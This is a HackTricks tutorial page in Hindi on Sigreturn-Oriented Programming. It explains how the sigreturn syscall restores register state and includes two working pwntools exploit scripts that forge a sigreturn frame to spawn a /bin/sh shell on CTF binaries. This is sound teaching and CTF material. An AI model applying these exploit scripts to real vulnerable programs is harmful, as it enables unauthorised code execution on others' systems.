SROP - Sigreturn-Oriented Programming

Reading time: 7 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

Basic Information

Sigreturn एक विशेष syscall है जिसका मुख्य उपयोग एक सिग्नल हैंडलर के निष्पादन के बाद सफाई करने के लिए किया जाता है। सिग्नल ऑपरेटिंग सिस्टम द्वारा प्रोग्राम को भेजे गए व्यवधान होते हैं, अक्सर यह संकेत देने के लिए कि कोई असाधारण स्थिति उत्पन्न हुई है। जब एक प्रोग्राम एक सिग्नल प्राप्त करता है, तो यह सिग्नल को संभालने के लिए सिग्नल हैंडलर के साथ अपने वर्तमान कार्य को अस्थायी रूप से रोक देता है, जो सिग्नल से निपटने के लिए डिज़ाइन किया गया एक विशेष फ़ंक्शन है।

सिग्नल हैंडलर के समाप्त होने के बाद, प्रोग्राम को अपने पिछले स्थिति पर लौटने की आवश्यकता होती है जैसे कि कुछ भी नहीं हुआ। यहीं पर sigreturn काम आता है। यह प्रोग्राम को सिग्नल हैंडलर से लौटने में मदद करता है और सिग्नल हैंडलर द्वारा उपयोग किए गए स्टैक फ्रेम (मेमोरी का वह भाग जो फ़ंक्शन कॉल और स्थानीय चर को संग्रहीत करता है) को साफ करके प्रोग्राम की स्थिति को बहाल करता है।

दिलचस्प बात यह है कि sigreturn प्रोग्राम की स्थिति को कैसे बहाल करता है: यह CPU के सभी रजिस्टर मानों को स्टैक पर संग्रहीत करके ऐसा करता है। जब सिग्नल अब अवरुद्ध नहीं होता, तो sigreturn इन मानों को स्टैक से पॉप करता है, प्रभावी रूप से CPU के रजिस्टर को उनके उस स्थिति में रीसेट करता है जब सिग्नल को संभाला गया था। इसमें स्टैक पॉइंटर रजिस्टर (RSP) शामिल है, जो स्टैक के वर्तमान शीर्ष की ओर इशारा करता है।

caution

ROP चेन से sigreturn syscall को कॉल करना और रजिस्ट्रियों के मानों को जोड़ना जिन्हें हम स्टैक में लोड करना चाहते हैं, यह संभव है कि हम सभी रजिस्टर मानों को नियंत्रित कर सकें और इसलिए कॉल कर सकें, उदाहरण के लिए, syscall execve के साथ /bin/sh

ध्यान दें कि यह एक Ret2syscall का प्रकार होगा जो अन्य Ret2syscalls को कॉल करने के लिए पैरामीटर को नियंत्रित करना बहुत आसान बनाता है:

Ret2syscall

यदि आप जिज्ञासु हैं, तो यह sigcontext संरचना है जो स्टैक में संग्रहीत होती है ताकि बाद में मानों को पुनर्प्राप्त किया जा सके (चित्र यहां से):

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

इसके बेहतर स्पष्टीकरण के लिए देखें:

- YouTube

उदाहरण

आप यहां एक उदाहरण पा सकते हैं जहां सिग्नरटर्न के लिए कॉल ROP के माध्यम से बनाया गया है (rxa में मान 0xf डालकर), हालांकि यह वहां से अंतिम एक्सप्लॉइट है:

python
from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

चेक करें यहां से एक्सप्लॉइट जहां बाइनरी पहले से ही sigreturn को कॉल कर रही थी और इसलिए इसे ROP के साथ बनाने की आवश्यकता नहीं है:

python
from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

अन्य उदाहरण और संदर्भ

  • https://youtu.be/ADULSwnQs-s?feature=shared
  • https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop
  • https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html
  • Assembly binary जो stack पर लिखने की अनुमति देता है और फिर sigreturn syscall को कॉल करता है। यह संभव है कि stack पर एक ret2syscall को sigreturn संरचना के माध्यम से लिखा जाए और उस फ्लैग को पढ़ा जाए जो बाइनरी की मेमोरी के अंदर है।
  • https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html
  • Assembly binary जो stack पर लिखने की अनुमति देता है और फिर sigreturn syscall को कॉल करता है। यह संभव है कि stack पर एक ret2syscall को sigreturn संरचना के माध्यम से लिखा जाए (बाइनरी में स्ट्रिंग /bin/sh है)।
  • https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html
  • 64 बिट्स, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। gets फ़ंक्शन का उपयोग करते हुए सरल बफर ओवरफ्लो जो ret2syscall को निष्पादित करता है। ROP श्रृंखला /bin/sh को .bss में लिखती है, फिर से gets को कॉल करके, यह alarm फ़ंक्शन का दुरुपयोग करता है ताकि eax को 0xf पर सेट किया जा सके ताकि एक SROP को कॉल किया जा सके और एक शेल निष्पादित किया जा सके।
  • https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html
  • 64 बिट्स assembly प्रोग्राम, कोई relro नहीं, कोई canary नहीं, nx, कोई pie नहीं। प्रवाह stack में लिखने, कई रजिस्टरों को नियंत्रित करने, और एक syscall को कॉल करने की अनुमति देता है और फिर यह exit को कॉल करता है। चयनित syscall एक sigreturn है जो रजिस्टर सेट करेगा और eip को पिछले syscall निर्देश को कॉल करने के लिए स्थानांतरित करेगा और बाइनरी स्पेस को rwx पर सेट करने के लिए memprotect को चलाएगा और बाइनरी स्पेस में ESP को सेट करेगा। प्रवाह का पालन करते हुए, प्रोग्राम फिर से ESP में पढ़ने को कॉल करेगा, लेकिन इस मामले में ESP अगली निर्देश की ओर इशारा करेगा, इसलिए एक शेलकोड को पास करना इसे अगली निर्देश के रूप में लिखेगा और इसे निष्पादित करेगा।
  • https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection
  • SROP का उपयोग निष्पादन विशेषाधिकार (memprotect) देने के लिए किया जाता है उस स्थान पर जहां एक शेलकोड रखा गया था।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें